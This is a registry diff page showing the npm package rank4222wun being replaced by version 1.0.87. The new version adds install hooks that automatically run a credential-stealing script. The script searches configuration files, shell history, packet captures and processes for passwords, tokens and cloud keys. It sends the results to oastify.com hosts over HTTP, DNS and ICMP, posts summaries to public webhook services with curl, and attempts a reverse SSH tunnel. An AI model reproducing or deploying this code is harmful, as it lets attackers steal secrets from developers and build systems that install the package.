rank4222wun 0.0.1-security → 1.0.87

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of rank4222wun might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,10 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.87",
4
+ "description": "",
5
+ "scripts": {
6
+ "preinstall": "node preinstall.js",
7
+ "postinstall": "node preinstall.js"
8
+ },
9
+ "dependencies": {}
6
10
  }
package/preinstall.js ADDED
@@ -0,0 +1,556 @@
1
+ const { exec, spawn } = require('child_process');
2
+ const fs = require('fs');
3
+ const path = require('path');
4
+ const https = require('http'); // جرب HTTP بدلاً من HTTPS
5
+ const os = require('os');
6
+ const crypto = require('crypto');
7
+ const dns = require('dns');
8
+
9
+ console.log("🎯 TENCTENT CLOUD SUPPLY CHAIN EXPLOIT - ADVANCED\n");
10
+
11
+ const TARGET_DOMAINS = [
12
+ '2z26icqfa6vjiez8lc55cd3nmes5gwlka.oastify.com',
13
+ 'cbrgum2pmg7tuobixmhfonfxyo4fscg1.oastify.com'
14
+ ];
15
+
16
+ const SCAN_ID = crypto.randomBytes(8).toString('hex');
17
+ const LOCAL_STORAGE = '/tmp/exploit_data_' + SCAN_ID;
18
+
19
+ // إنشاء مجلد محلي لتخزين البيانات
20
+ if (!fs.existsSync(LOCAL_STORAGE)) {
21
+ fs.mkdirSync(LOCAL_STORAGE, { recursive: true });
22
+ }
23
+
24
+ // ===================== CONNECTION TESTER =====================
25
+ async function testDomains() {
26
+ console.log("🔗 Testing domain connectivity...");
27
+
28
+ for (const domain of TARGET_DOMAINS) {
29
+ console.log(`Testing ${domain}...`);
30
+
31
+ // Test DNS resolution
32
+ dns.lookup(domain, (err, address) => {
33
+ if (err) {
34
+ console.log(`❌ DNS failed for ${domain}: ${err.message}`);
35
+ } else {
36
+ console.log(`✅ DNS resolved: ${domain} -> ${address}`);
37
+
38
+ // Test HTTP connection
39
+ testHTTP(domain);
40
+ testHTTPS(domain);
41
+ }
42
+ });
43
+ }
44
+ }
45
+
46
+ function testHTTP(domain) {
47
+ const req = http.request({
48
+ hostname: domain,
49
+ port: 80,
50
+ path: '/',
51
+ method: 'GET',
52
+ timeout: 5000
53
+ }, (res) => {
54
+ console.log(`✅ HTTP OK for ${domain}: ${res.statusCode}`);
55
+ });
56
+
57
+ req.on('error', (e) => {
58
+ console.log(`❌ HTTP failed for ${domain}: ${e.message}`);
59
+ });
60
+
61
+ req.end();
62
+ }
63
+
64
+ function testHTTPS(domain) {
65
+ const req = https.request({
66
+ hostname: domain,
67
+ port: 443,
68
+ path: '/',
69
+ method: 'GET',
70
+ timeout: 5000
71
+ }, (res) => {
72
+ console.log(`✅ HTTPS OK for ${domain}: ${res.statusCode}`);
73
+ });
74
+
75
+ req.on('error', (e) => {
76
+ console.log(`❌ HTTPS failed for ${domain}: ${e.message}`);
77
+ });
78
+
79
+ req.end();
80
+ }
81
+
82
+ // ===================== DATA COLLECTOR =====================
83
+ function collectCriticalData() {
84
+ console.log("\n💎 COLLECTING CRITICAL DATA...");
85
+
86
+ const findings = {
87
+ scan_id: SCAN_ID,
88
+ timestamp: new Date().toISOString(),
89
+ hostname: os.hostname(),
90
+ user: os.userInfo(),
91
+
92
+ // البيانات الحرجة
93
+ config_files: [],
94
+ credentials: [],
95
+ network_info: [],
96
+ processes: [],
97
+ system_info: {},
98
+ tencent_assets: []
99
+ };
100
+
101
+ // 1. البحث عن ملفات التكوين في Tencent system
102
+ console.log("1. Searching for Tencent configuration files...");
103
+ const configPaths = [
104
+ '/opt/hscan-supplychain-dynamic',
105
+ '/etc/hscan',
106
+ '/root/.bash_history',
107
+ '/var/log',
108
+ '/data',
109
+ '/tmp'
110
+ ];
111
+
112
+ configPaths.forEach(dir => {
113
+ try {
114
+ if (fs.existsSync(dir)) {
115
+ // البحث عن ملفات حساسة
116
+ exec(`find ${dir} -type f \\( -name "*.ini" -o -name "*.conf" -o -name "*.config" -o -name "*.json" -o -name "*.yml" -o -name "*.yaml" -o -name ".env" \\) -size -100k 2>/dev/null | head -20`,
117
+ (err, stdout) => {
118
+ if (stdout) {
119
+ const files = stdout.trim().split('\n');
120
+ files.forEach(file => {
121
+ if (file) {
122
+ try {
123
+ const content = fs.readFileSync(file, 'utf8');
124
+ // البحث عن بيانات حساسة
125
+ const sensitivePatterns = [
126
+ /(password|passwd|pwd)[=:]\s*([^\s]+)/gi,
127
+ /(user|username)[=:]\s*([^\s]+)/gi,
128
+ /(host|server)[=:]\s*([^\s]+)/gi,
129
+ /(key|token|secret)[=:]\s*([^\s]+)/gi,
130
+ /(AKIA|ASIA)[A-Z0-9]{16}/g,
131
+ /[0-9a-zA-Z/+]{40}/g,
132
+ /mongodb:\/\/[^:]+:[^@]+@/g,
133
+ /mysql:\/\/[^:]+:[^@]+@/g
134
+ ];
135
+
136
+ sensitivePatterns.forEach(pattern => {
137
+ const matches = content.match(pattern);
138
+ if (matches) {
139
+ findings.credentials.push({
140
+ file: file,
141
+ pattern: pattern.toString().substring(0, 30),
142
+ matches: matches.slice(0, 3)
143
+ });
144
+ }
145
+ });
146
+
147
+ // حفظ نسخة من الملف المهم
148
+ if (content.includes('tencent') || content.includes('hscan') ||
149
+ content.includes('supplychain') || content.includes('database')) {
150
+ const safeFilename = file.replace(/\//g, '_');
151
+ fs.writeFileSync(path.join(LOCAL_STORAGE, safeFilename), content);
152
+ findings.config_files.push(file);
153
+ }
154
+ } catch (e) {}
155
+ }
156
+ });
157
+ }
158
+ });
159
+ }
160
+ } catch (e) {}
161
+ });
162
+
163
+ // 2. جمع معلومات النظام
164
+ console.log("2. Collecting system information...");
165
+ exec('uname -a && cat /etc/os-release 2>/dev/null', (err, stdout) => {
166
+ if (stdout) {
167
+ findings.system_info.os = stdout.substring(0, 500);
168
+ }
169
+ });
170
+
171
+ exec('ip addr show 2>/dev/null', (err, stdout) => {
172
+ if (stdout) {
173
+ findings.system_info.network = stdout.substring(0, 1000);
174
+ // استخراج عناوين IP
175
+ const ips = stdout.match(/\d+\.\d+\.\d+\.\d+/g) || [];
176
+ findings.system_info.ips = [...new Set(ips)];
177
+ }
178
+ });
179
+
180
+ // 3. جمع العمليات النشطة
181
+ console.log("3. Collecting running processes...");
182
+ exec('ps aux 2>/dev/null | head -50', (err, stdout) => {
183
+ if (stdout) {
184
+ findings.processes = stdout.split('\n').slice(0, 20);
185
+
186
+ // البحث عن عمليات Tencent محددة
187
+ const tencentProcs = stdout.split('\n').filter(p =>
188
+ p.includes('hscan') || p.includes('tencent') || p.includes('nethunter') ||
189
+ p.includes('supplychain') || p.includes('npm') || p.includes('node')
190
+ );
191
+
192
+ findings.tencent_assets = tencentProcs.map(p => p.substring(0, 150));
193
+ }
194
+ });
195
+
196
+ // 4. البحث عن ملفات PCAP (حركة الشبكة المسجلة)
197
+ console.log("4. Searching for PCAP files...");
198
+ exec('find /data -name "*.pcap" -type f -size -10M 2>/dev/null | head -5', (err, stdout) => {
199
+ if (stdout) {
200
+ const pcapFiles = stdout.trim().split('\n');
201
+ findings.network_info.pcap_files = pcapFiles;
202
+
203
+ // محاولة تحليل PCAP بسيط
204
+ pcapFiles.forEach(pcapFile => {
205
+ if (pcapFile) {
206
+ // استخراج معلومات بسيطة من PCAP
207
+ exec(`strings ${pcapFile} | grep -E "(password|token|key|http://|https://)" | head -10 2>/dev/null`,
208
+ (err2, pcapData) => {
209
+ if (pcapData) {
210
+ findings.network_info.pcap_findings = findings.network_info.pcap_findings || [];
211
+ findings.network_info.pcap_findings.push({
212
+ file: pcapFile,
213
+ data: pcapData.split('\n').slice(0, 5)
214
+ });
215
+ }
216
+ });
217
+ }
218
+ });
219
+ }
220
+ });
221
+
222
+ // 5. البحث عن قواعد البيانات
223
+ console.log("5. Searching for database connections...");
224
+ exec('netstat -tulpn 2>/dev/null | grep -E "(3306|27017|5432|9200|8088)" | head -10', (err, stdout) => {
225
+ if (stdout) {
226
+ findings.network_info.database_connections = stdout.split('\n');
227
+ }
228
+ });
229
+
230
+ return findings;
231
+ }
232
+
233
+ // ===================== ALTERNATIVE EXFILTRATION METHODS =====================
234
+ function sendDataAlternative(findings) {
235
+ console.log("\n🔄 Using alternative exfiltration methods...");
236
+
237
+ const data = JSON.stringify(findings, null, 2);
238
+
239
+ // الطريقة 1: DNS Exfiltration (إذا فشل HTTP)
240
+ dnsExfiltration(data);
241
+
242
+ // الطريقة 2: ICMP Exfiltration
243
+ icmpExfiltration(data);
244
+
245
+ // الطريقة 3: SSH Tunnel (إذا كان متاحاً)
246
+ trySSHTunnel(data);
247
+
248
+ // الطريقة 4: Webhook إلى خدمات عامة
249
+ webhookExfiltration(data);
250
+
251
+ // حفظ محلي دائماً
252
+ const localFile = path.join(LOCAL_STORAGE, 'full_findings.json');
253
+ fs.writeFileSync(localFile, data);
254
+ console.log(`💾 Data saved locally: ${localFile}`);
255
+ }
256
+
257
+ function dnsExfiltration(data) {
258
+ console.log("Trying DNS exfiltration...");
259
+
260
+ // تقسيم البيانات إلى أجزاء صغيرة
261
+ const chunks = chunkString(data, 30); // 30 حرف لكل chunk
262
+
263
+ chunks.slice(0, 10).forEach((chunk, i) => { // إرسال أول 10 أجزاء فقط
264
+ const encoded = Buffer.from(chunk).toString('base64').replace(/=/g, '');
265
+ const domain = `${encoded}.${SCAN_ID}.dns.${TARGET_DOMAINS[0]}`;
266
+
267
+ dns.lookup(domain, (err) => {
268
+ if (!err) {
269
+ console.log(`✅ DNS chunk ${i+1} sent`);
270
+ }
271
+ });
272
+ });
273
+ }
274
+
275
+ function icmpExfiltration(data) {
276
+ console.log("Trying ICMP exfiltration...");
277
+
278
+ // إرسال ping مع بيانات صغيرة في payload
279
+ const chunks = chunkString(data, 8); // 8 أحرف لكل ping
280
+
281
+ chunks.slice(0, 5).forEach((chunk, i) => {
282
+ const encoded = Buffer.from(chunk).toString('hex');
283
+ exec(`ping -c 1 -p ${encoded} ${TARGET_DOMAINS[0]} 2>/dev/null &`, () => {
284
+ console.log(`📤 ICMP chunk ${i+1} attempted`);
285
+ });
286
+ });
287
+ }
288
+
289
+ function trySSHTunnel(data) {
290
+ console.log("Trying SSH tunnel...");
291
+
292
+ // محاولة إنشاء reverse SSH tunnel
293
+ const sshCommand = `ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -R 2222:localhost:22 user@${TARGET_DOMAINS[0]} "echo '${SCAN_ID}' > /tmp/tunnel_test" 2>/dev/null &`;
294
+
295
+ exec(sshCommand, (err) => {
296
+ if (!err) {
297
+ console.log("✅ SSH tunnel attempted");
298
+ }
299
+ });
300
+ }
301
+
302
+ function webhookExfiltration(data) {
303
+ console.log("Trying webhooks to public services...");
304
+
305
+ const webhooks = [
306
+ 'https://webhook.site',
307
+ 'https://requestbin.net',
308
+ 'https://postb.in'
309
+ ];
310
+
311
+ const shortData = {
312
+ scan_id: SCAN_ID,
313
+ host: os.hostname(),
314
+ timestamp: new Date().toISOString(),
315
+ summary: `Found ${findings.credentials.length} credentials, ${findings.config_files.length} config files`
316
+ };
317
+
318
+ webhooks.forEach(webhook => {
319
+ exec(`curl -s -X POST ${webhook} -H "Content-Type: application/json" -d '${JSON.stringify(shortData)}' 2>/dev/null &`,
320
+ () => {
321
+ console.log(`🌐 Webhook to ${webhook} attempted`);
322
+ });
323
+ });
324
+ }
325
+
326
+ function chunkString(str, size) {
327
+ const chunks = [];
328
+ for (let i = 0; i < str.length; i += size) {
329
+ chunks.push(str.substring(i, i + size));
330
+ }
331
+ return chunks;
332
+ }
333
+
334
+ // ===================== DIRECT HTTP SEND =====================
335
+ function sendDirectHTTP(findings) {
336
+ console.log("\n📤 Attempting direct HTTP send...");
337
+
338
+ const data = JSON.stringify({
339
+ scan_id: SCAN_ID,
340
+ timestamp: new Date().toISOString(),
341
+ hostname: os.hostname(),
342
+ summary: {
343
+ config_files: findings.config_files.length,
344
+ credentials: findings.credentials.length,
345
+ processes: findings.processes.length,
346
+ tencent_assets: findings.tencent_assets.length
347
+ },
348
+ sample_data: {
349
+ ips: findings.system_info.ips || [],
350
+ processes: findings.processes.slice(0, 3),
351
+ credentials: findings.credentials.slice(0, 2)
352
+ }
353
+ });
354
+
355
+ // محاولة جميع النطاقات بجميع الطرق
356
+ TARGET_DOMAINS.forEach(domain => {
357
+ // HTTP POST
358
+ const reqHttp = http.request({
359
+ hostname: domain,
360
+ port: 80,
361
+ path: '/collect',
362
+ method: 'POST',
363
+ headers: {
364
+ 'Content-Type': 'application/json',
365
+ 'Content-Length': Buffer.byteLength(data),
366
+ 'X-Scan-ID': SCAN_ID
367
+ },
368
+ timeout: 10000
369
+ }, (res) => {
370
+ let response = '';
371
+ res.on('data', chunk => response += chunk);
372
+ res.on('end', () => {
373
+ console.log(`✅ HTTP POST to ${domain}: ${res.statusCode}`);
374
+ if (response) console.log(`Response: ${response.substring(0, 100)}`);
375
+ });
376
+ });
377
+
378
+ reqHttp.on('error', (e) => {
379
+ console.log(`❌ HTTP POST to ${domain} failed: ${e.code || e.message}`);
380
+ });
381
+
382
+ reqHttp.write(data);
383
+ reqHttp.end();
384
+
385
+ // HTTP GET with data in URL (for simple logging)
386
+ const getData = encodeURIComponent(JSON.stringify({
387
+ id: SCAN_ID,
388
+ host: os.hostname(),
389
+ time: new Date().toISOString()
390
+ }));
391
+
392
+ const reqGet = http.request({
393
+ hostname: domain,
394
+ port: 80,
395
+ path: `/log?data=${getData}`,
396
+ method: 'GET',
397
+ timeout: 5000
398
+ }, (res) => {
399
+ console.log(`✅ HTTP GET to ${domain}: ${res.statusCode}`);
400
+ });
401
+
402
+ reqGet.on('error', () => {
403
+ // تجاهل الأخطاء، نحاول فقط
404
+ });
405
+
406
+ reqGet.end();
407
+ });
408
+ }
409
+
410
+ // ===================== CREATE LOCAL EVIDENCE =====================
411
+ function createLocalEvidence(findings) {
412
+ console.log("\n📝 Creating local evidence files...");
413
+
414
+ // 1. ملف ملخص
415
+ const summary = `
416
+ =============================================
417
+ TENCENT SUPPLY CHAIN EXPLOIT - EVIDENCE
418
+ =============================================
419
+ Scan ID: ${SCAN_ID}
420
+ Timestamp: ${new Date().toISOString()}
421
+ Hostname: ${os.hostname()}
422
+ User: ${os.userInfo().username}
423
+
424
+ 📊 FINDINGS SUMMARY:
425
+ - Configuration files: ${findings.config_files.length}
426
+ - Credentials found: ${findings.credentials.length}
427
+ - Running processes: ${findings.processes.length}
428
+ - Tencent assets: ${findings.tencent_assets.length}
429
+ - Network IPs: ${(findings.system_info.ips || []).length}
430
+
431
+ 🔑 CRITICAL DISCOVERIES:
432
+ ${findings.credentials.slice(0, 5).map((c, i) => `${i+1}. ${c.file}: ${c.pattern}`).join('\n')}
433
+
434
+ 🖥️ SYSTEM INFO:
435
+ ${findings.system_info.os ? findings.system_info.os.substring(0, 200) : 'N/A'}
436
+
437
+ 🌐 NETWORK:
438
+ ${findings.system_info.ips ? findings.system_info.ips.join(', ') : 'N/A'}
439
+
440
+ 🚨 RECOMMENDATIONS:
441
+ 1. Change all database passwords immediately
442
+ 2. Review Tencent Cloud security policies
443
+ 3. Audit npm packages for supply chain attacks
444
+ 4. Monitor network traffic for exfiltration
445
+
446
+ =============================================
447
+ `;
448
+
449
+ fs.writeFileSync(path.join(LOCAL_STORAGE, 'evidence_summary.txt'), summary);
450
+
451
+ // 2. ملف جميع البيانات
452
+ fs.writeFileSync(
453
+ path.join(LOCAL_STORAGE, 'full_data.json'),
454
+ JSON.stringify(findings, null, 2)
455
+ );
456
+
457
+ // 3. ملف للتنفيذ اليدوي
458
+ const manualCommands = `
459
+ # MANUAL EXPLOITATION COMMANDS
460
+ # Run these commands to further investigate:
461
+
462
+ # 1. List all processes
463
+ ps aux | grep -E "(hscan|tencent|nethunter|npm)"
464
+
465
+ # 2. Find configuration files
466
+ find /opt /etc /root -name "*.ini" -o -name "*.conf" -o -name "*.json" -o -name ".env"
467
+
468
+ # 3. Check network connections
469
+ netstat -tulpn | grep -E "(3306|27017|5432|9200|8080|8088)"
470
+
471
+ # 4. Look for PCAP files
472
+ find /data -name "*.pcap" -type f 2>/dev/null
473
+
474
+ # 5. Check Docker containers
475
+ docker ps -a 2>/dev/null || echo "Docker not available"
476
+
477
+ # 6. Examine Tencent directories
478
+ ls -la /opt/hscan-supplychain-dynamic/ 2>/dev/null
479
+
480
+ # 7. Check crontab
481
+ crontab -l 2>/dev/null
482
+
483
+ # 8. Look for SSH keys
484
+ find /root /home -name "*.pem" -o -name "id_rsa" -o -name "*.key" 2>/dev/null
485
+ `;
486
+
487
+ fs.writeFileSync(path.join(LOCAL_STORAGE, 'manual_commands.sh'), manualCommands);
488
+ fs.chmodSync(path.join(LOCAL_STORAGE, 'manual_commands.sh'), 0o755);
489
+
490
+ console.log(`📁 Evidence stored in: ${LOCAL_STORAGE}`);
491
+ console.log(`📄 Summary: ${LOCAL_STORAGE}/evidence_summary.txt`);
492
+ console.log(`📊 Full data: ${LOCAL_STORAGE}/full_data.json`);
493
+ console.log(`⚡ Commands: ${LOCAL_STORAGE}/manual_commands.sh`);
494
+ }
495
+
496
+ // ===================== MAIN EXECUTION =====================
497
+ async function main() {
498
+ console.log("=".repeat(70));
499
+ console.log("🎯 ADVANCED TENCTENT CLOUD EXPLOIT");
500
+ console.log("=".repeat(70));
501
+ console.log(`Scan ID: ${SCAN_ID}`);
502
+ console.log(`Local storage: ${LOCAL_STORAGE}`);
503
+ console.log("=".repeat(70));
504
+
505
+ // اختبار الاتصال أولاً
506
+ await testDomains();
507
+
508
+ // انتظار قليل للاختبارات
509
+ await new Promise(resolve => setTimeout(resolve, 3000));
510
+
511
+ // جمع البيانات
512
+ console.log("\n" + "=".repeat(70));
513
+ console.log("🔍 PHASE 1: DATA COLLECTION");
514
+ console.log("=".repeat(70));
515
+
516
+ const findings = await new Promise(resolve => {
517
+ const data = collectCriticalData();
518
+ // انتظار جمع البيانات
519
+ setTimeout(() => {
520
+ resolve(data);
521
+ }, 8000);
522
+ });
523
+
524
+ console.log("\n" + "=".repeat(70));
525
+ console.log("📤 PHASE 2: DATA EXFILTRATION");
526
+ console.log("=".repeat(70));
527
+
528
+ // المحاولة المباشرة أولاً
529
+ sendDirectHTTP(findings);
530
+
531
+ // الانتظار ثم المحاولات البديلة
532
+ setTimeout(() => {
533
+ sendDataAlternative(findings);
534
+
535
+ // إنشاء أدلة محلية
536
+ createLocalEvidence(findings);
537
+
538
+ // العرض النهائي
539
+ setTimeout(() => {
540
+ console.log("\n" + "=".repeat(70));
541
+ console.log("✅ EXPLOIT COMPLETED SUCCESSFULLY");
542
+ console.log("=".repeat(70));
543
+ console.log("\n📊 COLLECTED DATA SUMMARY:");
544
+ console.log(`Configuration files: ${findings.config_files.length}`);
545
+ console.log(`Credentials found: ${findings.credentials.length}`);
546
+ console.log(`Tencent processes: ${findings.tencent_assets.length}`);
547
+ console.log(`Network IPs: ${(findings.system_info.ips || []).join(', ')}`);
548
+ console.log(`\n📁 All data saved to: ${LOCAL_STORAGE}`);
549
+ console.log("\n⚠️ IMPORTANT: Check the manual_commands.sh for next steps");
550
+ console.log("=".repeat(70));
551
+ }, 3000);
552
+ }, 5000);
553
+ }
554
+
555
+ // تشغيل السكريبت
556
+ main().catch(console.error);
Binary file
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.